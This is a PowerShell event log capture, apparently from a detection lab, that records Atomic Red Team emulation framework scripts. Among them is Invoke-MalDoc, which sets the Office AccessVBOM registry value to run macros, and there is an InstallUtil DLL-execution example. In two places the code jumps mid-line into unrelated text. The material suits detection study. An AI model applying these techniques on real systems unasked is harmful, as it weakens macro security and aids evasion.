$split = $value -split "(#{[a-z-_A-Z]*})"
foreach ($s in $split){
if($s -match "(#{[a-z-_A-Z]*})"){
Write-Host -ForegroundColor Red -NoNewline $s
}
else {
Write-Host -ForegroundColor Green -NoNewline $s
}
}
Write-Host ""
}
ScriptBlock ID: bff28245-7378-4201-af85-7adcd845ae7d
Path: C:\AtomicRedTeam\invoke-atomicredteam\Private\Write-KeyValue.ps1
06/15/2021 04:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467216
Keywords=None
Message=Completed invocation of ScriptBlock ID: e1f3e3e5-06d9-44bf-b0b7-411b03c37650
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467215
Keywords=None
Message=Started invocation of ScriptBlock ID: e1f3e3e5-06d9-44bf-b0b7-411b03c37650
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1467214
Keywords=None
Message=Creating Scriptblock text (1 of 1):
function Write-ExecutionLog($startTime, $technique, $testNum, $testName, $logPath, $targetHostname, $targetUser, $guid) {
if (!(Test-Path $logPath)) {
New-Item $logPath -Force -ItemType File | Out-Null
}
$timeUTC = (Get-Date($startTime).toUniversalTime() -uformat "%Y-%m-%dT%H:%M:%SZ").ToString()
$timeLocal = (Get-Date($startTime) -uformat "%Y-%m-%dT%H:%M:%S").ToString()
[PSCustomObject][ordered]@{
"Execution Time (UTC)" = $timeUTC;
"Execution Time (Local)" = $timeLocal;
"Technique" = $technique;
"Test Number" = $testNum;
"Test Name" = $testName;
"Hostname" = $targetHostname;
"Username" = $targetUser
"GUID" = $guid
} | Export-Csv -Path $LogPath -NoTypeInformation -Append
}
ScriptBlock ID: e1f3e3e5-06d9-44bf-b0b7-411b03c37650
Path: C:\AtomicRedTeam\invoke-atomicredteam\Private\Write-ExecutionLog.ps1
06/15/2021 04:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467213
Keywords=None
Message=Completed invocation of ScriptBlock ID: 6fb28515-b853-42df-b886-9a46434fe8ae
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467212
Keywords=None
Message=Started invocation of ScriptBlock ID: 6fb28515-b853-42df-b886-9a46434fe8ae
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1467211
Keywords=None
Message=Creating Scriptblock text (1 of 1):
function Invoke-CleanupDescription(){
$ret1 = $test.description.ToString().trim() -replace '(?" | Out-File (Join-Path $WorkingDirectory $stdoutFile) -Append -Encoding ASCII
break # if we're here it means the file wasn't locked and Out-File worked, so we can leave the retry loop
} catch {} # file is locked
Start-Sleep -m 100
}
}
}
if ($IsLinux -or $IsMacOS) {
Start-Sleep -Seconds 5 # On nix, the last 4 lines of stdout get overwritten upon return so pause for a bit to ensure user can view results
}
# Get Process result
return $process.ExitCode
}
finally {
if ($null -ne $process) { $process.Dispose() }
}
}
}
ScriptBlock ID: 5f090480-980d-4310-96b7-c3ea52345186
Path: C:\AtomicRedTeam\invoke-atomicredteam\Private\Invoke-Process.ps1
06/15/2021 04:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467204
Keywords=None
Message=Completed invocation of ScriptBlock ID: 6a5a2a89-7c85-4185-9210-6222b3f10c24
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467203
Keywords=None
Message=Started invocation of ScriptBlock ID: 6a5a2a89-7c85-4185-9210-6222b3f10c24
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1467202
Keywords=None
Message=Creating Scriptblock text (1 of 1):
function Invoke-KillProcessTree {
Param([int]$ppid)
if ($IsLinux -or $IsMacOS) {
sh -c "pkill -9 -P $ppid"
}
else {
while ($null -ne ($gcim = Get-CimInstance Win32_Process | Where-Object { $_.ParentProcessId -eq $ppid })) {
$gcim | ForEach-Object { Invoke-KillProcessTree $_.ProcessId; Start-Sleep -Seconds 0.5 }
}
Stop-Process -Id $ppid -ErrorAction Ignore
}
}
ScriptBlock ID: 6a5a2a89-7c85-4185-9210-6222b3f10c24
Path: C:\AtomicRedTeam\invoke-atomicredteam\Private\Invoke-KillProcessTree.ps1
06/15/2021 04:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467201
Keywords=None
Message=Completed invocation of ScriptBlock ID: 6b288782-b9fb-482b-a5a3-97a2d5c265e9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467200
Keywords=None
Message=Started invocation of ScriptBlock ID: 6b288782-b9fb-482b-a5a3-97a2d5c265e9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1467199
Keywords=None
Message=Creating Scriptblock text (1 of 1):
function Invoke-ExecuteCommand ($finalCommand, $executor, $TimeoutSeconds, $session = $null, $interactive) {
$null = @(
if ($null -eq $finalCommand) { return 0 }
$finalCommand = $finalCommand.trim()
Write-Verbose -Message 'Invoking Atomic Tests using defined executor'
if ($executor -eq "command_prompt" -or $executor -eq "sh" -or $executor -eq "bash") {
$execPrefix = "-c"
$execExe = $executor
if ($executor -eq "command_prompt") {
$execPrefix = "/c";
$execExe = "cmd.exe";
$execCommand = $finalCommand -replace "`n", " & "
}
else {
$finalCommand = $finalCommand -replace "[\\`"]", "`\$&"
$execCommand = $finalCommand -replace "(?
[CmdletBinding()]
[OutputType([AtomicTechnique])]
param (
[Parameter(Mandatory)]
[String[]]
$AttackTechnique,
[Parameter(Mandatory)]
[String]
[ValidateNotNullOrEmpty()]
$DisplayName,
[Parameter(Mandatory)]
[AtomicTest[]]
[ValidateNotNull()]
$AtomicTests
)
$AtomicTechniqueInstance = [AtomicTechnique]::new()
foreach ($Technique in $AttackTechnique) {
# Attack techniques should match the MITRE ATT&CK [sub-]technique format.
# This is not a requirement so just warn the user.
if ($Technique -notmatch '^(?-i:T\d{4}(\.\d{3}){0,1})$') {
Write-Warning "The following supplied attack technique does not start with 'T' followed by a four digit number: $Technique"
}
}
$AtomicTechniqueInstance.attack_technique = $AttackTechnique
$AtomicTechniqueInstance.display_name = $DisplayName
$AtomicTechniqueInstance.atomic_tests = $AtomicTests
return $AtomicTechniqueInstance
}
function New-AtomicTest {
<#
.SYNOPSIS
Specifies an atomic test.
.PARAMETER Name
Specifies the name of the test that indicates how it tests the technique.
.PARAMETER Description
Specifies a long form description of the test. Markdown is supported.
.PARAMETER SupportedPlatforms
Specifies the OS/platform on which the test is designed to run. The following platforms are currently supported: Windows, macOS, Linux.
A single test can support multiple platforms.
.PARAMETER ExecutorType
Specifies the the framework or application in which the test should be executed. The following executor types are currently supported: CommandPrompt, Sh, Bash, PowerShell.
- CommandPrompt: The Windows Command Prompt, aka cmd.exe
Requires the -ExecutorCommand argument to contain a multi-line script that will be preprocessed and then executed by cmd.exe.
- PowerShell: PowerShell
Requires the -ExecutorCommand argument to contain a multi-line PowerShell scriptblock that will be preprocessed and then executed by powershell.exe
- Sh: Linux's bourne shell
Requires the -ExecutorCommand argument to contain a multi-line script that will be preprocessed and then executed by sh.
- Bash: Linux's bourne again shell
Requires the -ExecutorCommand argument to contain a multi-line script that will be preprocessed and then executed by bash.
.PARAMETER ExecutorElevationRequired
Specifies that the test must run with elevated privileges.
.PARAMETER ExecutorSteps
Specifies a manual list of steps to execute. This should be specified when the atomic test cannot be executed in an automated fashion, for example when GUI steps are involved that cannot be automated.
.PARAMETER ExecutorCommand
Specifies the command to execute as part of the atomic test. This should be specified when the atomic test can be executed in an automated fashion.
The -ExecutorType specified will dictate the command specified, e.g. PowerShell scriptblock code when the "PowerShell" ExecutorType is specified.
.PARAMETER ExecutorCleanupCommand
Specifies the command to execute if there are any artifacts that need to be cleaned up.
.PARAMETER InputArguments
Specifies one or more input arguments. Input arguments are defined using the New-AtomicTestInputArgument function.
.PARAMETER DependencyExecutorType
Specifies an override execution type for dependencies. By default, dependencies are executed using the framework specified in -ExecutorType.
In most cases, 'PowerShell' is specified as a dependency executor type when 'CommandPrompt' is specified as an executor type.
.PARAMETER Dependencies
Specifies one or more dependencies. Dependencies are defined using the New-AtomicTestDependency function.
.EXAMPLE
$InputArg1 = New-AtomicTestInputArgument -Name filename -Description 'location of the payload' -Type Path -Default 'PathToAtomicsFolder\T1118\src\T1118.dll'
$InputArg2 = New-AtomicTestInputArgument -Name source -Description 'location of the source code to compile' -Type Path -Default 'PathToAtomicsFolder\T1118\src\T1118.cs'
$AtomicTest = New-AtomicTest -Name 'InstallUtil uninstall method call' -Description 'Executes the Uninstall Method' -SupportedPlatforms Windows -InputArguments $InputArg1, $InputArg2 -ExecutorType CommandPrompt -ExecutorCommand @'
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /target:library /out:#{filename} #{source}
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U #{filename}
'@
.OUTPUTS
AtomicTest
Outputs an object representing an atomic test. This object is intended to be supplied to the New-AtomicTechnique -AtomicTests parameter.
The output of New-AtomicTest can be piped to ConvertTo-Yaml. The resulting output can be added to an existing atomic technique YAML doc.
#>
[CmdletBinding(DefaultParameterSetName = 'AutomatedExecutor')]
[OutputType([AtomicTest])]
param (
[Parameter(Mandatory)]
[String]
[ValidateNotNullOrEmpty()]
$Name,
[Parameter(Mandatory)]
[String]
[ValidateNotNullOrEmpty()]
$Description,
[Parameter(Mandatory)]
[String[]]
[ValidateSet('Windows', 'macOS', 'Linux')]
$SupportedPlatforms,
[Parameter(Mandatory, ParameterSetName = 'AutomatedExecutor')]
[String]
[ValidateSet('CommandPrompt', 'Sh', 'Bash', 'PowerShell')]
$ExecutorType,
[Switch]
$ExecutorElevationRequired,
[Parameter(Mandatory, ParameterSetName = 'ManualExecutor')]
[String]
[ValidateNotNullOrEmpty()]
$ExecutorSteps,
[Parameter(Mandatory, ParameterSetName = 'AutomatedExecutor')]
[String]
[ValidateNotNullOrEmpty()]
$ExecutorCommand,
[String]
[ValidateNotNullOrEmpty()]
$ExecutorCleanupCommand,
[AtomicInputArgument[]]
$InputArguments,
[String]
[ValidateSet('CommandPrompt', 'Sh', 'Bash', 'PowerShell')]
$DependencyExecutorType,
[AtomicDependency[]]
$Dependencies
)
$AtomicTestInstance = [AtomicTest]::new()
$AtomicTestInstance.name = $Name
$AtomicTestInstance.description = $Description
$AtomicTestInstance.supported_platforms = $SupportedPlatforms | ForEach-Object { $_.ToLower() }
$StringsWithPotentialInputArgs = New-Object -TypeName 'System.Collections.Generic.List`1[String]'
switch ($PSCmdlet.ParameterSetName) {
'AutomatedExecutor' {
$ExecutorInstance = [AtomicExecutorDefault]::new()
$ExecutorInstance.command = $ExecutorCommand
$StringsWithPotentialInputArgs.Add($ExecutorCommand)
}
'ManualExecutor' {
$ExecutorInstance = [AtomicExecutorManual]::new()
$ExecutorInstance.steps = $ExecutorSteps
$StringsWithPotentialInputArgs.Add($ExecutorSteps)
}
}
switch ($ExecutorType) {
'CommandPrompt' { $ExecutorInstance.name = 'command_prompt' }
default { $ExecutorInstance.name = $ExecutorType.ToLower() }
}
if ($ExecutorCleanupCommand) {
$ExecutorInstance.cleanup_command = $ExecutorCleanupCommand
$StringsWithPotentialInputArgs.Add($ExecutorCleanupCommand)
}
if ($ExecutorElevationRequired) { $ExecutorInstance.elevation_required = $True }
if ($Dependencies) {
foreach ($Dependency in $Dependencies) {
$StringsWithPotentialInputArgs.Add($Dependency.description)
$StringsWithPotentialInputArgs.Add($Dependency.prereq_command)
$StringsWithPotentialInputArgs.Add($Dependency.get_prereq_command)
}
}
if ($DependencyExecutorType) {
switch ($DependencyExecutorType) {
'CommandPrompt' { $AtomicTestInstance.dependency_executor_name = 'command_prompt' }
default { $AtomicTestInstance.dependency_executor_name = $DependencyExecutorType.ToLower() }
}
} $AtomicTestInstance.dependencies = $Dependencies
[Hashtable] $InputArgHashtable = @{ }
if ($InputArguments.Count) {
# Determine if any of the input argument names repeat. They must be unique.
$InputArguments | Group-Object -Property Name | Where-Object { $_.Count -gt 1 } | ForEach-Object {
Write-Error "There are $($_.Count) instances of the $($_.Name) input argument. Input argument names must be unique."
return
}
# Convert each input argument to a hashtable where the key is the Name property.
foreach ($InputArg in $InputArguments) {
# Create a copy of the passed input argument that doesn't include the "Name" property.
# Passing in a shallow copy adversely affects YAML serialization for some reason.
$NewInputArg = [AtomicInputArgument]::new()
$NewInputArg.default = $InputArg.default
$NewInputArg.description = $InputArg.description
$NewInputArg.type = $InputArg.type
$InputArgHashtable[$InputArg.Name] = $NewInputArg
}
$AtomicTestInstance.input_arguments = $InputArgHashtable
}
# Extract all specified input arguments from executor and any dependencies.
$Regex = [Regex] '#\{(?[^}]+)\}'
[String[]] $InputArgumentNamesFromExecutor = $StringsWithPotentialInputArgs |
ForEach-Object { $Regex.Matches($_) } |
Select-Object -ExpandProperty Groups |
Where-Object { $_.Name -eq 'ArgName' } |
Select-Object -ExpandProperty Value |
Sort-Object -Unique
# Validate that all executor arguments are defined as input arguments
if ($InputArgumentNamesFromExecutor.Count) {
$InputArgumentNamesFromExecutor | ForEach-Object {
if ($InputArgHashtable.Keys -notcontains $_) {
Write-Error "The following input argument was specified but is not defined: '$_'"
return
}
}
}
# Validate that all defined input args are utilized at least once in the executor.
if ($InputArgHashtable.Keys.Count) {
$InputArgHashtable.Keys | ForEach-Object {
if ($InputArgumentNamesFromExecutor -notcontains $_) {
# Write a warning since this scenario is not considered a breaking change
Write-Warning "The following input argument is defined but not utilized: '$_'."
}
}
}
$AtomicTestInstance.executor = $ExecutorInstance
return $AtomicTestInstance
}
function New-AtomicTestDependency {
<#
.SYNOPSIS
Specifies a new dependency that must be met prior to execution of an atomic test.
.PARAMETER Description
Specifies a human-readable description of the dependency. This should be worded in the following form: SOMETHING must SOMETHING
.PARAMETER PrereqCommand
Specifies commands to check if prerequisites for running this test are met.
For the "command_prompt" executor, if any command returns a non-zero exit code, the pre-requisites are not met.
For the "powershell" executor, all commands are run as a script block and the script block must return 0 for success.
.PARAMETER GetPrereqCommand
Specifies commands to meet this prerequisite or a message describing how to meet this prereq
More specifically, this command is designed to satisfy either of the following conditions:
1) If a prerequisite is not met, perform steps necessary to satify the prerequisite. Such a command should be implemented when prerequisites can be satisfied in an automated fashion.
2) If a prerequisite is not met, inform the user what the steps are to satisfy the prerequisite. Such a message should be presented to the user in the case that prerequisites cannot be satisfied in an automated fashion.
.EXAMPLE
$Dependency = New-AtomicTestDependency -Description 'Folder to zip must exist (#{input_file_folder})' -PrereqCommand 'test -e #{input_file_folder}' -GetPrereqCommand 'echo Please set input_file_folder argument to a folder that exists'
.OUTPUTS
AtomicDependency
Outputs an object representing an atomic test dependency. This object is intended to be supplied to the New-AtomicTest -Dependencies parameter.
Note: due to a bug in PowerShell classes, the get_prereq_command property will not display by default. If all fields must be explicitly displayed, they can be viewed by piping output to "Select-Object description, prereq_command, get_prereq_command".
#>
[CmdletBinding()]
[OutputType([AtomicDependency])]
param (
[Parameter(Mandatory)]
[String]
[ValidateNotNullOrEmpty()]
$Description,
[Parameter(Mandatory)]
[String]
[ValidateNotNullOrEmpty()]
$PrereqCommand,
[Parameter(Mandatory)]
[String]
[ValidateNotNullOrEmpty()]
$GetPrereqCommand
)
$DependencyInstance = [AtomicDependency]::new()
$DependencyInstance.description = $Description
$DependencyInstance.prereq_command = $PrereqCommand
$DependencyInstance.get_prereq_command = $GetPrereqCommand
return $DependencyInstance
}
function New-AtomicTestInputArgument {
<#
.SYNOPSIS
Specifies an input to an atomic test that is a requirement to run the test (think of these like function arguments).
.PARAMETER Name
Specifies the name of the input argument. This must be lowercase and can optionally, have underscores. The input argument name is what is specified as arguments within executors and dependencies.
.PARAMETER Description
Specifies a human-readable description of the input argument.
.PARAMETER Type
Specifies the data type of the input argument. The following data types are supported: Path, Url, String, Integer, Float. If an alternative data type must be supported, use the -TypeOverride parameter.
.PARAMETER TypeOverride
Specifies an unsupported input argument data type. Specifying this parameter should not be common.
.PARAMETER Default
Specifies a default value for an input argument if one is not specified via the Invoke-AtomicTest -InputArgs parameter.
.EXAMPLE
$AtomicInputArgument = New-AtomicTestInputArgument -Name 'rar_exe' -Type Path -Description 'The RAR executable from Winrar' -Default '%programfiles%\WinRAR\Rar.exe'
.OUTPUTS
AtomicInputArgument
Outputs an object representing an atomic test input argument. This object is intended to be supplied to the New-AtomicTest -InputArguments parameter.
#>
[CmdletBinding(DefaultParameterSetName = 'PredefinedType')]
[OutputType([AtomicInputArgument])]
param (
[Parameter(Mandatory)]
[String]
[ValidateNotNullOrEmpty()]
$Name,
[Parameter(Mandatory)]
[String]
[ValidateNotNullOrEmpty()]
$Description,
[Parameter(Mandatory, ParameterSetName = 'PredefinedType')]
[String]
[ValidateSet('Path', 'Url', 'String', 'Integer', 'Float')]
$Type,
[Parameter(Mandatory, ParameterSetName = 'TypeOverride')]
[String]
[ValidateNotNullOrEmpty()]
$TypeOverride,
[Parameter(Mandatory)]
[String]
[ValidateNotNullOrEmpty()]
$Default
)
if ($Name -notmatch '^(?-i:[0-9a-z_]+)$') {
Write-Error "Input argument names must be lowercase and optionally, contain underscores. Input argument name supplied: $Name"
return
}
$AtomicInputArgInstance = [AtomicInputArgument]::new()
$AtomicInputArgInstance.description = $Description
$AtomicInputArgInstance.default = $Default
if ($Type) {
$AtomicInputArgInstance.type = $Type
# Validate input argument types when it makes sense to do so.
switch ($Type) {
'Url' {
if (-not [Uri]::IsWellFormedUriString($Type, [UriKind]::RelativeOrAbsolute)) {
Write-Warning "The specified Url is not properly formatted: $Type"
}
}
'Integer' {
if (-not [Int]::TryParse($Type, [Ref] $null)) {
Write-Warning "The specified Int is not properly formatted: $Type"
}
}
'Float' {
if (-not [Double]::TryParse($Type, [Ref] $null)) {
Write-Warning "The specified Float is not properly formatted: $Type"
}
}
# The following supported data types do not make sense to validate:
# 'Path' { }
# 'String' { }
}
}
else {
$AtomicInputArgInstance.type = $TypeOverride
}
# Add Name as a note property since the Name property cannot be defined in the AtomicInputArgument
# since it must be stored as a hashtable where the name is the key. Fortunately, ConvertTo-Yaml
# won't convert note properties during serialization.
$InputArgument = Add-Member -InputObject $AtomicInputArgInstance -MemberType NoteProperty -Name Name -Value $Name -PassThru
return $InputArgument
}
ScriptBlock ID: 699f8b52-9f17-4941-9ffd-13c6a5c99132
Path: C:\AtomicRedTeam\invoke-atomicredteam\Public\New-Atomic.ps1
06/15/2021 04:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467183
Keywords=None
Message=Completed invocation of ScriptBlock ID: 3b03116d-4ba1-473d-9874-645a61a777c8
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467182
Keywords=None
Message=Started invocation of ScriptBlock ID: 3b03116d-4ba1-473d-9874-645a61a777c8
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=3
Type=Warning
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1467181
Keywords=None
Message=Creating Scriptblock text (1 of 1):
function Invoke-WebRequestVerifyHash ($url, $outfile, $hash) {
$success = $false
$null = @(
New-Item -ItemType Directory (Split-Path $outfile) -Force | Out-Null
$ms = New-Object IO.MemoryStream
[Net.ServicePointManager]::SecurityProtocol = ([Net.ServicePointManager]::SecurityProtocol -bor [Net.SecurityProtocolType]::Tls11 -bor [Net.SecurityProtocolType]::Tls12)
(New-Object System.Net.WebClient).OpenRead($url).copyto($ms)
$ms.seek(0, [System.IO.SeekOrigin]::Begin) | Out-Null
$actualHash = (Get-FileHash -InputStream $ms).Hash
if ( $hash -eq $actualHash) {
$ms.seek(0, [System.IO.SeekOrigin]::Begin) | Out-Null
$fileStream = New-Object IO.FileStream $outfile, ([System.IO.FileMode]::Create)
$ms.CopyTo($fileStream);
$fileStream.Close()
$success = $true
}
else {
Write-Host -ForegroundColor red "File hash mismatch, expected: $hash, actual: $actualHash"
}
)
$success
}
ScriptBlock ID: 3b03116d-4ba1-473d-9874-645a61a777c8
Path: C:\AtomicRedTeam\invoke-atomicredteam\Public\Invoke-WebRequestVerifyHash.ps1
06/15/2021 04:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467180
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4d56c70a-95bf-4a2b-9476-06e933a64139
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467179
Keywords=None
Message=Started invocation of ScriptBlock ID: 4d56c70a-95bf-4a2b-9476-06e933a64139
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=3
Type=Warning
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1467178
Keywords=None
Message=Creating Scriptblock text (1 of 1):
function Invoke-MalDoc {
<#
.SYNOPSIS
A module to programatically execute Microsoft Word and Excel Documents containing macros.
.DESCRIPTION
A module to programatically execute Microsoft Word and Excel Documents containing macros. The module will temporarily add a registry key to allow PowerShell to interact with VBA.
.PARAMETER macroCode
[Required] The VBA code to be executed. By default, this macro code will be wrapped in a sub routine, called "Test" by default. If you don't want your macro code to be wrapped in a subroutine use the `-noWrap` flag. To specify the subroutine name use the `-sub` parameter.
.PARAMETER macroFile
[Required] A file containing the VBA code to be executed. To specify the subroutine name to be called use the `-sub` parameter.
.PARAMETER officeVersion
[Optional] The Microsoft Office version to use for executing the document. e.g. "16.0". The version will be determined Programmatically if not specified.
.PARAMETER officeProduct
[Required] The Microsoft Office application in which to create and execute the macro, either "Word" or "Excel".
.PARAMETER sub
[Optional] The name of the subroutine in the macro code to call for execution. Also the name of the subroutine to wrap the supplied `macroCode` in if `noWrap` is not specified.
.PARAMETER noWrap
[Optional] A switch that specifies that the supplied `macroCode` should be used as-is and not wrapped in a subroutine.
.EXAMPLE
C:\PS> Invoke-Maldoc -macroCode "MsgBox `"Hello`"" -officeProduct "Word"
-----------
Create a macro enabled Microsoft Word Document. The macro code `MsgBox "Hello"` will be wrapped inside of a subroutine call "Test" and then executed.
.EXAMPLE
C:\PS> $macroCode = Get-Content path/to/macro.txt -Raw
C:\PS> Invoke-Maldoc -macroCode $macroCode -officeProduct "Word"
-----------
Create a macro enabled Microsoft Word Document. The macro code read from `path/to/macro.txt` will be wrapped inside of a subroutine call "Test" and then executed.
.EXAMPLE
C:\PS> Invoke-Maldoc -macroCode "MsgBox `"Hello`"" -officeProduct "Excel" -sub "DoIt"
-----------
Create a macro enabled Microsoft Excel Document. The macro code `MsgBox "Hello"` will be wrapped inside of a subroutine call "DoIt" and then executed.
.EXAMPLE
C:\PS> Invoke-Maldoc -macroCode "Sub Exec()`nMsgBox `"Hello`"`nEnd Sub" -officeProduct "Word" -noWrap -sub "Exec"
-----------
Create a macro enabled Microsoft Word Document. The macroCode will be unmodified (i.e. not wrapped insided a subroutine) and the "Exec" subroutine will be executed.
.EXAMPLE
C:\PS> Invoke-Maldoc -macroFile "C:\AtomicRedTeam\atomics\T1003\src\macro.txt" -officeProduct "Word" -sub "DoIt"
-----------
Create a macro enabled Microsoft Word Document. The macroCode will be read from the specified file and the "DoIt" subroutine will be executed.
#>
Param(
[Parameter(Position = 0, Mandatory = $True, ParameterSetName = "code")]
[String]$macroCode,
[Parameter(Position = 5, Mandatory = $True, ParameterSetName = "file")]
[String]$macroFile,
[Parameter(Position = 1, Mandatory = $False)]
[String]$officeVersion,
[Parameter(Position = 2, Mandatory = $True)]
[ValidateSet("Word", "Excel")]
[String]$officeProduct,
[Parameter(Position = 3, Mandatory = $false)]
[String]$sub = "Test",
[Parameter(Position = 4, Mandatory = $false, ParameterSetName = "code")]
[switch]$noWrap
)
$app = New-Object -ComObject "$officeProduct.Application"
if (-not $officeVersion) { $officeVersion = $app.Version }
$Key = "HKCU:\Software\Microsoft\Office\$officeVersion\$officeProduct\Security\"
if (-not (Test-Path $key)) { New-Item $Key }
Set-ItemProperty -Path $Key -Name 'AccessVBOM' -Value 1
if ($macroFile) {
$macroCode = Get-Content $macroFile -Raw
}
elseif (-not $noWrap) {
$macroCode = "Sub $sub()`n" + $macroCode + "`nEnd Sub"
}
if ($officeProduct -eq "Word") {
$doc = $app.Documents.Add()
}
else {
